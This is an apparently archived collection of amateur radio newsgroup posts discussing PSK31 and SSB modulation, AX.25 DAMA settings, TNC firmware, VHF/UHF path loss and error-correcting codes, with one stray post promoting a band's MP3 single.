> PSK31 an AM mode? Isn't the modulation on the RF signal AM?
> Isn't the phase shift accomplished only in the audio signal?

Unshaped BPSK looks just like a normal carrier, but with some phase reversals added in periodically. In differential BPSK, a phase reversal usually indicates one bit value (reversals in PSK31 represent zeros), and no reversal indicates the other bit value. The quick reversals generate heavy clicks as the signal (speaker) flips direction.

To keep the signal small, the signal is amplitude modulated so that as the phase transition occurs, the amplitude is small (zero). means that the power transmitted in the signal reaches its peak in the middle of each bit time, and falls to zero at the transition times. This does indeed look like amplitude modulation. If you actually graphed out the audio frequencies, you'd get something that looked like a 31.25 hertz sine wave amplitude modulating the audio frequency carrier. (As a matter of fact, if you check out http://www.idle.com/~markv/psk31.html, you can see exactly what that looks like).

When you use an SSB transmitter, you generate images (sidebands) of this audio signal at the carrier frequency plus the audio carrier frequency, and at the carrier frequency minus the audio carrier frequency. One of those is stripped by the filters in your SSB transmitter. Assuming that your transmitter does the job it is supposed to without distortion, the phases are reproduced in the output RF wave as well.

This all works out because the _absolute_ phase of the signal doesn't matter, it only matters what the relative phase is.

The pulse shaping has one added benefit: you can use the periodicity of the drops in output power to syncronize your slicer with the incoming data stream. If you just rectified the input signal and low pass filtered it, you can use that as a control signal to a PLL that locks onto the transition times (and therefore the peak signal times) and tells you when to optimally sample.

Hopefully my demodulator will make all this clear when I get the code working.

Later.

Mark

Huh? I thought that's exactly what we're doing. I thought PSK31 was phase shifting the RF carrier which is what (to paraphrase Tom Snyder) flies through the air, across America, to your living rooms. :-)

Seriously though, for example, a pure 1 KHz tone on USB would produce only an RF signal 1 KHz up from the center frequency. On the receive end the software may have tuned in using a 700 Hz tone (the audio frequency is not delivered) and the software is looking for phase shifts. Said differently, we are not 'recovering' any audio only looking for phase shifts in the 'manufactured' audio.

What is DAMA? Is that an acronymn? BTW, I plan to connect Linux with this TH-D7x... Here's a posting from Radek OK2JBG about DAMA, still I dunno exactly what DATA is all about:

Subject: DAMA problem - solved ?
From: "Radek Burget" <powershot39@hotmail.com>
Date: 1999/02/17
Message-ID: <fa.gmc80nv.1lgkuq7@ifi.uio.no>
Newsgroups: fa.linux.hams

Hi there,
I studied the kernel sources yesterday and I found this:
The ax25 module is set to the STD_SIMPLEX protocol after initialization.
In this mode no DAMA checking is done. I didn't find any way to change
this mode. So I changed the header file
include/net/ax25.h at line 133 from
#define AX25_DEF_PROTOCOL AX25_PROTO_STD_SIMPLEX
to
#define AX25_DEF_PROTOCOL AX25_PROTO_DAMA_SLAVE
and recompiled.
In this mode ax25 works in both CSMA and DAMA modes and correctly
switches between modes. Is there any way to do this without changing
this file ?

I also found another strange thing in net/ax25/af_ax25.c at line
996. There is #ifdef AX25_CONFIG_DAMA_SLAVE. Is this correct ?
I would expect CONFIG_AX25_DAMA_SLAVE.

73! Radek OK2JBG

Yes, I could hear the PSK31 transmitted but was not able to
print more than an odd word or part of a word. The CW ID was
clearly copyable. This troubled me since all the drift had
indicated that the digital mode should be printable well
into the noise, and this PSK31 signal was still above the
noise level, tho weak. Cecil has since explained that it was
designed to operate at this level of efficiency. I have no
further problem with it since that explanation.

Jim, the CW ID is OOK Morse keyed via a single tone into the transmitter in USB mode, the mode of transmission for PSK31. Don't ask me how they phase modulate the rig VIA the microphone audio input--I don't know. I'm still stuck on phase modulating a transmitter via the RF chain. :-)

I'm rather sure that all PSK modulation is done at audio
frequencies, since whatever you do to a modulating waveform
also appears in like form on the output waveform of the
mixer, in this case as the RF output of the transmitter.

The jazz focussed pop/rock band Sojourn is releasing its first internet radio single YOUR LIFE (from its CD, NOT THE SAME THING)

It's available to any radio station (internet and broadcast)at MP3.com (http://www.mp3.com/music/Pop/10695.html) or I would be happy to e-mail the 5 meg MP3 file directly to you. Please send requests for the file to the e-mail listed above.

To buy the CD, link to http://www.cdbaby.com/buy/sojourn.htm

For more information on Sojourn link to
http://www.troubadorartists.com/sojourn.htm

I think that you'll find Sojourn's music refreshing.

Me too ;) I have the following questions:

* Does the TNC firmware support KISS mode?
* Can the built-in TNC do cross-band duplex?
* If I don't use the built-in TNC, is it still possible to do 9k6, using
an external TNC (or soundmodem) and the mic/headphone interface?
* If I don't use the built-in TNC, will cross-band duplex work?

I didn't say that very well. The point I was trying to make is that the
RF phase shift is transparent to the soundcard. The generated audio on
one end corresponds to the recovered audio on the other end. The
soundcard cannot sample at the Nyquist(sp?) rate of RF signals.

Hi Jimmy

DAMA is a protocol extension to AX25 and avoids collisions .... the digipeater
is polling your station
after your connect frame and so gives all stations(also low power stations
etc.) a chance .

FLEXNET digipeaters and others using it here in Europe ....

Please have a look on

Source record: 19246

Currently software is limited for both Palm PC's and Windows CE systems. There are terminal programs that come with the CE and Palm operating systems. This can be easily be used for "talking" to a TNC (NOT BAYCOM). I know for CE type systems, the hardware hookup is very simple. A null modem adapter is a must with gender changers being options to get the proper hook-up. Now, Palm PC users have an advantage right now. The APRS software that is so popular for DOS and Windows is now available for the Palm thru www.tapr.org. APRS is supposed to come out soon in a Windows CE format. I can't wait. I use a Casio A-11 running Windows CE 2.11 to a Paccomm PicoPacket TNC into various HT's. It all fits in a small fanny pack. Very nice. If you have anymore questions, by all means, please e-mail me.

> RF phase shifts for the operation of PSK31.

Agreed. Phaseshifted audio into the transmitter, phase shifted audio out of the receiver means all the phase shifted RF in the communications circuit is mixing products. Which may play into the "implementations" issue I have emphasized - any distortion introduced as an unwanted mixer product can have a detrimental effect on the overall operation. That's after setup levels are optimized-and that can be a problem since one needs to use the backpanel accessory input and output on the radio which may make it difficult to adjust them.

I've worked stations that have bad IMD distortion products indicated by sidebands that show up on both sides of the signal on the tuning scope. No obvious effect is noticed on a reasonably strong signal, but one wonders what it is doing to the weak signal efficiency. On some of those distorted stations, the distortion shows up only on the "idle" but not on the data transmitted part. That almost has to occur within the soundcard and transmitted audio setup levels wouldn't seem to be the able to correct it, though I'n not certain of that. Onother signals the situation is reversed, distortion on the data and none on the idle signal. More implementations issues. I know, even still it's more efficient than CW. :-}

> Which tells me that the CW narrow filter can be used on PSK31 by
> using VFO A for receiving and VFO B for transmitting.

Not sure that's going to work on the IC738--I note that signals tune "backwards" when I receive them in CW mode - i.e. the PSK signal moves across the 'waterfall' display in the reverse direction from that when tuned in USB mode. In USB mode, the signal moves across in the opposite direction from the tuning knob rotation. In CW mode it moves in the same direction. I haven't had the chance to evaluate that situation yet, so I don't know if that kills the PSK

operation on CW receive mode or not. About the time I noticed it, the station I was monitoring shut down and there was no other PSK signal available to check it out. I don't know how the phase shift encoding works. Probably will depend on whether the PSK31 phase shift is polarity dependent. If not it shouldn't be a problem.

From my experience, tuning without being able to hear the PSK signal aurally will be problematical most of the time, unless discrete frequencies are used. The waterfall display shows ALL signals, not just PSK31, and while the PSK31 display is distinctive, other stronger signals can hide them when you are tuning. It's much easier for me to find them aurally, then fine tune with the onscreen display, especially when an area of spectrum of several kc is being searched. You also have to 'learn' to approximate by ear the correctly tuned audio frequency (1kc) since it is very easy to tune past the wanted signal on the tuning display due to its narrow bandwidth. 1 kc resolution on the transciever certainly helps, though the fine tune feature in the program is sufficient, just slower and more awkward to use via the keyboard.

Hi to All !

Name is Danie ZS6AXX from South Africa.

We in South Africa have a BIG problem.We can not get the TCM 3105 IC for the Baycom modem anymore.

I am looking for any diagram for a 1200 baudrate modem eg,PICPAR or AM7911.Looks like this modem diagrams is highly secrete !!!!!!!!!!!!

I use to help hams in South Africa to get on packet with a Baycom kit,no more TCM3105 !! New hams can not get on packet anymore and I think worldwide is also a problem.In some of our countries,the money rate to the dollar is very high, so we HAVE to built our own modems.

CAN YOU PLEASE HELP ME WITH A 1200 BAUDRATE MODEM DIAGRAM AND THE PCB LAYOUT ?? IF YOU CAN HELP,PLEASE SEND THE INFO TO ME PERSONALY.

Thanks for ready this message

Have a nice day !

;it was a bear to keep adjusted (or maybe it was just that everybody kept
;fooling with them???).

I have a Central Electronics, 20-A "Exciter" sitting on my desk right
now. It was/is a commercial version of the phasing method of generating
SSB. It has two front panel pots labeled "CARRIER NULL". What I found out
was that when the rig was cold it took one particular setting of the pots
to null the carrier and once it warmed up you had to do it all over
again. What I finally did was just use the rig (or let it warm up for 1/2
hour first) and only adjust the pots once the thing was warmed up :)

It actually worked pretty good and the unit works all modes (SB1, SB2,
AM, PM and of course CW!). I used to have a lot of fun explaining that
you used "AM" in the morning and "PM" after lunch to visiting dignataries.

Hi Don,

What goes around, comes around!

My IC-775 uses DSP to produce a (sort of) phase-generated SSB signal.

Source record: 19125

Hi all!

I'm an astrophysics student who knows nearly nothing about Ham radio, except I thought I remembered that it's possible to send data over it (which a quick look at the net has now confirmed).
A group of us here in Scandinavia have recently established an organization to support astronomy research in Uzbekistan, where things are in pretty bad shape at the moment. Please se: <www.maidanak.org>.
The University in Tashkent runs an Observatory on Maidanak Mountain, a few hunred kilometers away, but they have no comunication. There is a desire to install internet at the observatory, which would mean a satelite link (very expensive). I think radio could be a great alternative.
What they need is voice and e-mail communication between Tashkent (which has internet access), Kitab - the base camp station near the observatory and Maidanak. If possible image transfer would also be good, but these CCD images are quite large (often several Meg).
So, my questions are: what equipment do we need, and what does it cost? (we have some basic computer equipment, but no radios, antenas, cables, software, radio modems, etc.) What are the rules for radio use in the former soviet republics?
Thanx.

- Henrik

Hans, thanks for the note. Very interesting! Shouldn't be too tough to implement two phase shifters and two balanced modulators in a DSP. Phase shift is no progblem, then literally multiply the two signals together, then add 'em up. Mix it up to RF, and you're on the air! At what frequency do they generate SSB? Probably something like 50 kHz. Hmmm, the 2nd IF of my trusty Drake R4.

My guess is that they use a 24-bit DSP to get adequate dynamic range. Crystal filters will go soon, as well (the limit for really high-performance is probably A/D converter technology). We'll have a high spec radio in an unbelievably small (and potentially inexpensive) package soon.

Sort of? Please elaborate.

Technologies come and go. At first hams used phasing rigs because
they couldn't afford crystal filters. Then everybody started using
crystal filters. Now it's swinging back the the other way, with
stable, accurate analogue and digital implementations.

Unless you use a modified T2, as I do, then you do it directly
in the I/Q modulator operating at the output frequency. The
DSP only deals with I and Q (implementable as Left and Right
on a sound card). This is actually a simpler method to implement,
it can be all table driven. The downside is that you can't use the
DSP numeric oscillator for fine tuning. All tuning has to be done
in the radio. (If you're using computer controlled DDS, this isn't
a drawback.)

Yeah, but some of those amateur signals are the result of
extremely overdriven SSB transmitters. What you're seeing
is the distortion products occuring in the overdriven SSB
transmitter (could be in the audio stages or in the RF stages).
The most common way that this occurs is if the speech processor
is left turned on during PSK31 activity. That's a big no-no. (It should
be a big no-no for SSB voice too, but voice is more tolerant of
distortion and spatter than data.)

If you are careful not to overdrive the radio, what you get is a
sequence of single tones, clean and pure, shifted by 180 degrees
from each other and amplitude modulated by a raised cosine
windowing function to reduce extraneous sideband products due
to the zero amplitude crossings at bit transitions of BPSK modulation.

If you follow the bit transitions in the constellation of a BPSK signal,
you see that the vector amplitude passes abruptly through zero during
state transitions. That unnecessarily widens the occupied bandwidth
in the same way that modulating an AM transmitter beyond cutoff does,
IE it produces the equivalent of "spatter". By using a raised cosine
windowing function, the spatter is reduced by making the transition
more gradual. But you have to use a linear amplifier instead of a
Class C amp, or the extra sidebands will reappear.

An even better technique is offset MSK. In this scheme, the phase vector
advances (or retards) 90 degrees for each bit time as with ordinary MSK,
but the shift is actually offset to +/- 45 degrees, IE it is never all I or all Q
during a transition. Thus zero amplitude never occurs in either channel
for a bit transition, and the bandwidth occupied is minimized.

Note, this is different from QPSK, where the vector can still pass through
zero, depending on the bit pattern being sent. QPSK has no spectral
advantage over BPSK in this regard, and still must use shaped pulses
to achieve an acceptable spectrum. (QPSK does double the bit rate for
the same occupied bandwidth as BPSK, but the Eb/No is halved, so it
is a wash as far as link performance is concerned.)

The downside of offset MSK is that clock recovery becomes more critical,
and becomes the limiting factor in weak signal operation. Clock recovery is
easier to implement for BPSK, so it is often chosen, even though it doesn't
occupy minimum bandwidth. If you can operate from an external common
clock reference, and use uniform code symbols, offset MSK offers a good
SNR advantage over BPSK, and is obviously more bandwidth conservative
without having to resort to windowing functions and linear amplifiers, so it
makes a better band sharing partner and simplifies transmitter design.

But by making the signal narrower, you also open yourself up to skywave
multipath fading problems. A wider signal actually works better on HF because
skywave multipath is nearly always a factor. This implies that what you actually
want to use is a FDM modulation with a relatively large tone frequency separation.
The FCC limits us to only 1 kHz on HF, which is unfortunate, but even that is
very useful in combating skywave multipath at the data rates we use. I've often
been able to maintain a link with wide shift FDM when an equally strong BPSK

signal fails due to the skywave multipath on the link.

Choosing the best modulation form on HF is not a trivial exercise. The channel is so variable and short term unstable that techniques which work well on the bench against pure gaussian noise may not work well at all over the air. Thus the only way to really test new modulation designs is over the air under actual real world operating conditions. Bench simulations, and VHF/UHF experiments, just can't duplicate HF conditions acurately enough. That's why we need the widest possible latitude to experiment with different forms on HF.

>filter-method SSB exciters & receivers.

Yep, that's exactly right. The hard part with analog implementations
was the audio phase shift network. Trying to get a precise 90 degree
phase shift over several octaves with one network is tough. But DSP
has made it simple, just do a Hilbert transform on one channel and
you have a perfect 90 degree phase shift across the full bandwidth.

The RF phase shift was never a problem, and can still be done in
analog fashion if that eases radio design. In many cases, available
DDS chipsets provide it automatically, but you can also do it with
a simple analog network. That eliminates the need for flash A/D
converters and very fast DSP chipsets (both of which are still
pretty expensive in higher resolutions).

>TNC/Packet modem works the same way like the regular phone's analog modems
>with speed synchronization, character equalization, fallback, etc.?

No, unfortunately they do not. Since the packet channel is a shared channel,
training sequences and specific path equalizations can't be done the way
they can be over a phone line where there are only two "stations" and the
path is stable for the duration of the call. The big problem is that every station
must be able to decode the packet header of every other station without any
training sequences in order to determine who the packet is from, and to whom
it is addressed. That lets them accept it or ignore it. That's very different from
the phone line. So we can't use the clever techniques developed for phone
line modems.

The primary difference between packet and phone line operation is that
for the latter call setup is done *out of band*. So there is no need to be
able to decode headers from other stations. And the modems know that
they can do a negotiation which will be good for the duration of the call.
That doesn't happen with packet. We have to use modulation forms that
are robust for all, and that means no training and no negotiation.

Amateur 56 kb operation generally uses MSK and purpose designed
RF modems with an operating bandwidth of 70 kHz. It doesn't work
through ordinary radios (the modem *is* the radio), and it doesn't
recognize the signals of ordinary radios as valid data (or vice versa).

In principle, you could use dual 1200 baud/9600 baud modems with
an ordinary radio and switch back and forth between those speeds
on a packet by packet basis, but I know of no one who does that on the
same channel. The backoff timers are different for the different speeds,
so they wouldn't share the channel very well. In other words, they'd
kill each other's throughput due to the differences in timer values
for the two speeds when both sorts of signals were trying to use
the channel.

After about an 8 year absence from packet, I have dusted off my old Kantronics KPC-4. It is currently running firmware version 2.85 from 1988. The KPC-4 is a 1200 baud dual-port TNC.

Am I running such old firmware that it jeapordizes everyone elses operation? Does anyone know what the latest version for the KPC-4 is and does it really matter?

Thanks!

I am looking for [economical] ways to predict path loss between a base / repeater and a mobile/handheld at UHF/VHF.

I'm interested in "local" propagation-- a few miles to tens of miles-- in cities with tall buildings and suburban areas with houses and trees. I want to *quantify* the effect of things like height of base & mobile antennas, and environment, having an HT antenna inside the car, etc, on received signal strength.

I'm hoping to find some rule-of-thumb guides, simple algorithms or low cost software. [I'm not really interested in DX propagation or multi-thousands of dollar cellular industry software].

Thanks in advance.

Latest firmware for the KPC-4 is 5.0. As Gary said, give Kantronics a call, Mary should be able to help you with this.

Then once you get the 5.0 firmware, you can run Pacterm '98!!!

That's like asking for a simple rule of thumb method for intergalactic
travel, with no knowns, and 1000 unknowns.

There's probably at least 999 answers. Pick one :-)

Here's the deal. It doesn't work that way. Find out where you want
coverage, and draw it on a map. Then find an antenna site that is
near the middle.. Climb the antenna, and put up a signal source that
puts out 40, 80, 160, and 320 Watts with a Morse ID. Then take
a field-strength meter and measure the actual pattern. That's the best
rule of thumb.

Here's another:

Path Loss (dB) = 10 log (4 * PI * D / L) ^ 2

Where D is the distance between two antennas in meters, and L is
the wavelength in meters. Make a computer program or
Spreadsheet that plots dB versus Distance, and figure everything
over 90 dB is in the noise; thus, some dB of amplification will be
necessary.

This is about as close as you'll get to a rule of thumb, but this doesn't
take multipath and intermod into effect.

Well, Guys, I haven't looked lately, but in the old days, GE, Motorola, RCA, and most of the other manufacturers had slide rules, one page work sheets etc., for just what you are asking. Also, Db Products, Andrew, Antenna Specialists, Communications Products, Prodelin, and the rest of the two-way antenna manufacturers had essentially the same type of help items. Find an old retired two-way shop owner who kept all his old files.

Unfortunately, you need a terrain modeling program if you expect
to get accurate answers. VHF/UHF radio waves don't travel well
through the Earth, nor do they travel in a simple manner through
urban clutter. On simple line of sight paths, signal strength falls
off in inverse proportion to the square of the distance, but there
are few simple line of sight paths in your scenarios. The signal
will arrive by multipath reflections, knife edge defraction, and by
forward or back scatter. These will all interact in complex ways
at different points in your coverage area to produce a very wide
range of signal levels at the receiver.

The line of sight range of a 5 watt HT is easily several hundred
miles (example, you can work AO27 with a HT), but on terrestrial
paths, depending on the specific terrain, it can vary from well
under a mile to perhaps 60 miles if the stations have a particularly
favorable path. I'm discounting ducting phenomena here, under
the proper ducting conditions, a HT may work over a several
hundred mile path. But that's a transient phenomena and can't
be counted on day to day.

The book as far as I am concerned is "Digital Modulation and Coding" by
Stephen Wilson. If you can buy no other, at least buy this one. It explains all
the things that seem to be confusing people in this thread, and much more.

We were using a KPC-4 with old firmware up until we just had it updated. I dont remember any problems with it. Current firmware for a KPC-4 is 5. something I believe.

Right. Shannon addressed this issue too. He showed that mere repetition
can never guarantee correct delivery of a message. But there are ways
which can. This is the subject of error detecting and correcting coding.
In order to guarantee correct message delivery, a coding must have the
capability of detecting that an error has occurred. Examples of this include,
but aren't limited to, checksums and cyclic redundancy checking.

Mere error detection, while necessary, isn't sufficient however. You could
send the same information over and over and still have it in error each time
(perhaps with different errors each time, or perhaps with the same errors
each time). HF packet is a good example of this. While the CRC detects
errors, repetition won't guarantee that an error free packet will ever be
received.

Once you know an error has occurred, then error correction techniques
can be applied. There are a large number of these too. Examples include
Reed-Solomon coding, trellis coding, etc. An important property of an error
correcting coding is that it can localize the error to a specific bit or bits.
One way of doing this is by putting the information in a matrix and calculating
the CRC for each row and each column. If there is an error in a specific row
and a specific column, the intersection of the row and column identify the
bit which is in error. That bit can then be flipped, then the CRCs recalculated
to confirm the message is now error free, etc. If there are multiple errors in

a row or column, the process has to be iterated until all the bits in error have been located and corrected.

Another important property of an error correcting coding is the amount of overhead it requires. Some ECC methods require a fixed overhead designed to cope with the worst channel condition in which communications is possible at all. Most block codes (such as the RS code mentioned above) fall in this category. But for a variable channel, like HF, that isn't very efficient. Often, messages will be received without error, or with only a few errors, so the ECC overhead reduces channel capacity more than necessary. Ideally, we want to send just enough overhead to have the message received correctly under current channel conditions, and no more. A technique to do that is called punctured coding.

Punctured coding sends only enough information to convey the message if no errors occur, plus enough information to allow error detection. Then if an error is detected, more information is sent to allow correction of some errors. If that still isn't enough, more information is sent to allow correction of more errors, etc. In most cases, the full set of coding overhead doesn't have to be sent before the message is correct. So less channel capacity is consumed by ECC overhead than with fixed coding.

Note that with punctured coding the same information is never sent twice. Only enough extra ECC overhead is sent to allow the original message to be recovered. Thus each transmission increases the amount of information about the content of the message. No information already known to be correct is repeated. This makes the coding efficient and adaptive to channel conditions. Of course this technique only works for two way contacts, it can't work for one way broadcasts because it requires feedback from the receiving station to indicate when the message has been received correctly.

Yeap it make sense when you say "shared channel". Thanks for the info.

It's difficult to predict what will actually happen.

There are hams now that learn Morse in order to pass the tests, then never use it. If Morse testing is dropped, they'll never learn it in the first place - but since they never used it, and don't stay proficient, is this any loss?

There are hams who learned Morse code because they liked it, and they will continue to do so.

There are hams who were originally not interested in Morse, but had to learn it for some class of licence, and discovered that they liked it. Without Morse testing, these hams may never try it - this will cause a real loss in numbers of Morse-fluent hams.
